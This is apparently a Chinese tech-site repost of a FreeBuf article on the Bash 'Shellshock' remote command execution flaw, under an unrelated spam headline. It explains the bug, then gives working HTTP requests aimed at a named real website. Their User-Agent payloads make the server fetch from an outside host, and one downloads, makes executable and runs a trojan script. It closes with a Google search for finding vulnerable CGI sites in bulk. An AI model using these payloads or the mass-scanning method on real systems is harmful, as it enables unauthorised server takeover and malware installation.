自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

Bash遠(yuǎn)程解析命令執(zhí)行漏洞測(cè)試方法

安全 漏洞
Bash漏洞與“心臟出血”漏洞不同,“心臟出血”只能借助竊取用戶電腦信息,而bash 漏洞允許黑客遠(yuǎn)程控制電腦,拿到系統(tǒng)最高權(quán)限!其方法利用就更簡(jiǎn)單了——復(fù)制/粘貼一行命令代碼即可!

從昨天開始,這個(gè)從澳大利亞遠(yuǎn)渡重洋而來(lái)的BASH遠(yuǎn)程命令執(zhí)行漏洞就沸騰了整個(gè)FreeBuf,大家都在談?wù)摚?ldquo;互聯(lián)網(wǎng)的心臟又出血了”,可是,親,到底怎么對(duì)網(wǎng)站進(jìn)行測(cè)試?下面這段腳本

$ env x=‘() { :;}; echo vulnerable' bash -c "echo this is a test"

真的如各路大神們說(shuō)的這樣嗎?

它與“心臟出血”漏洞不同,“心臟出血”只能借助竊取用戶電腦信息,而bash 漏洞允許黑客遠(yuǎn)程控制電腦,拿到系統(tǒng)最高權(quán)限!其方法利用就更簡(jiǎn)單了——復(fù)制/粘貼一行命令代碼即可!

Bash漏洞為什么能夠執(zhí)行

Bash漏洞的原理:

BASH除了可以將shell變量導(dǎo)出為環(huán)境變量,還可以將shell函數(shù)導(dǎo)出為環(huán)境變量!當(dāng)前版本的bash通過(guò)以函數(shù)名作為環(huán)境變量名,以“(){”開頭的字串作為環(huán)境變量的值來(lái)將函數(shù)定義導(dǎo)出為環(huán)境變量。

此次爆出的漏洞在于BASH處理這樣的“函數(shù)環(huán)境變量”的時(shí)候,并沒有以函數(shù)結(jié)尾“}”為結(jié)束,而是一直執(zhí)行其后的shell命令。

簡(jiǎn)單地說(shuō)就是,Bash腳本在解析某些特殊字符串時(shí)出現(xiàn)邏輯錯(cuò)誤導(dǎo)致可以執(zhí)行后面的命令。

Bash漏洞與遠(yuǎn)程執(zhí)行有啥聯(lián)系

看到上面的解釋,很多童鞋都理解成了本地的漏洞,然后很多人又覺得,本地有啥可以利用的,于是就忽略了這個(gè)神級(jí)漏洞的存在。我想說(shuō)的是,這個(gè)漏洞,利用熱度可以媲美當(dāng)年的MS08-067,威力雖然弱了點(diǎn),但遠(yuǎn)程控制電腦還是可以的。

首先解釋一下cgi腳本。很多網(wǎng)站類似下面的鏈接:

GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1

后臺(tái)不僅僅用python、Perl來(lái)解釋執(zhí)行并反饋給客戶端Response,當(dāng)然還可以換做bash腳本來(lái)解釋執(zhí)行提交上來(lái)的GET/POST請(qǐng)求。所以,理論上,你在HTTP請(qǐng)求中插入一個(gè)Bash命令,比如

() { :;}; wget http://www.myvps.org/testvul.sh

如果服務(wù)器的Bash解釋器具有這個(gè)漏洞,那么在解釋上面這這句話的時(shí)候就會(huì)執(zhí)行wget請(qǐng)求,將一個(gè)惡意的testvul.sh文件下載到這個(gè)服務(wù)器,那為何說(shuō)要放在HTTP頭部呢?比如:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

這是因?yàn)檫@個(gè)漏洞是bash解釋器在解釋某些特殊的變量時(shí)才可以觸發(fā)的:

在于BASH處理以“(){”開頭的“函數(shù)環(huán)境變量”的時(shí)候,并沒有以函數(shù)結(jié)尾“}”為結(jié)束,而是一直執(zhí)行其后的shell命令

通過(guò)自定義這些參數(shù)的值為“函數(shù)環(huán)境變量”的形式,就可以觸發(fā)后面的命令,惡意的客戶僅需要發(fā)送特殊構(gòu)造的HTTP請(qǐng)求就可以使服務(wù)器執(zhí)行特定的命令(命令的權(quán)限和解釋HTTP請(qǐng)求的Bash腳本環(huán)境相同)。

實(shí)際測(cè)試中,我的構(gòu)造的測(cè)試請(qǐng)求:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

過(guò)程是這樣的:

我發(fā)送GET請(qǐng)求–>目標(biāo)服務(wù)器cgi路徑

目標(biāo)服務(wù)器解析這個(gè)get請(qǐng)求,碰到UserAgent后面的參數(shù),Bash解釋器就執(zhí)行了后面的命令

目標(biāo)服務(wù)器wget–>我的myvps.org

我的vps記錄下這個(gè)訪問(wèn)的IP地址

然后查看我的myvps.org服務(wù)器的訪問(wèn)記錄,就可以確定目標(biāo)有沒有去訪問(wèn),如果訪問(wèn)了,那么,很好,它是有漏洞的。下面是我的VPS接收到的wget請(qǐng)求訪問(wèn)的日志:

Bash遠(yuǎn)程解析命令執(zhí)行漏洞測(cè)試方法 

#p#

 

大神是這樣測(cè)試漏洞的

當(dāng)然,你也可以這樣構(gòu)造:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

實(shí)際上執(zhí)行了下面三句:

/usr/bin/wget -O /tmp/muma.sh http://myvps.org/muma.sh ;
chmod 777 /tmp/muma.sh;
./tmp/muma.sh

你會(huì)發(fā)現(xiàn),你的木馬就這么腳本了,這就是Bash漏洞利用的精髓。

當(dāng)然,你可以利用批量Google搜索:

filetype:cgi inurl:cgi-bin site:jp

然后批量提交類似的GET請(qǐng)求,你就能做到批量測(cè)試了。測(cè)試表明,500個(gè)url里有6-8個(gè)有bash漏洞

責(zé)任編輯:藍(lán)雨淚 來(lái)源: FreeBuf
相關(guān)推薦

2010-09-13 17:57:12

執(zhí)行漏洞

2010-09-17 16:01:55

代碼執(zhí)行漏洞EXE文件

2022-05-07 11:31:25

漏洞網(wǎng)絡(luò)攻擊

2013-12-20 10:20:34

2016-11-08 19:56:09

GitLab漏洞遠(yuǎn)程命令

2021-01-26 10:00:45

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2015-03-06 15:31:01

2016-09-29 14:37:39

ImageMagick漏洞分析

2023-12-14 16:20:09

2019-05-15 15:20:01

微軟漏洞防護(hù)

2020-10-08 13:44:27

漏洞

2011-08-04 13:53:04

2017-08-22 13:45:27

2014-08-27 16:22:19

2014-09-12 17:47:36

2015-04-30 08:11:40

2014-09-25 19:30:51

2017-06-15 17:28:36

2012-09-20 10:08:17

PowerShell

2014-10-29 15:44:55

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)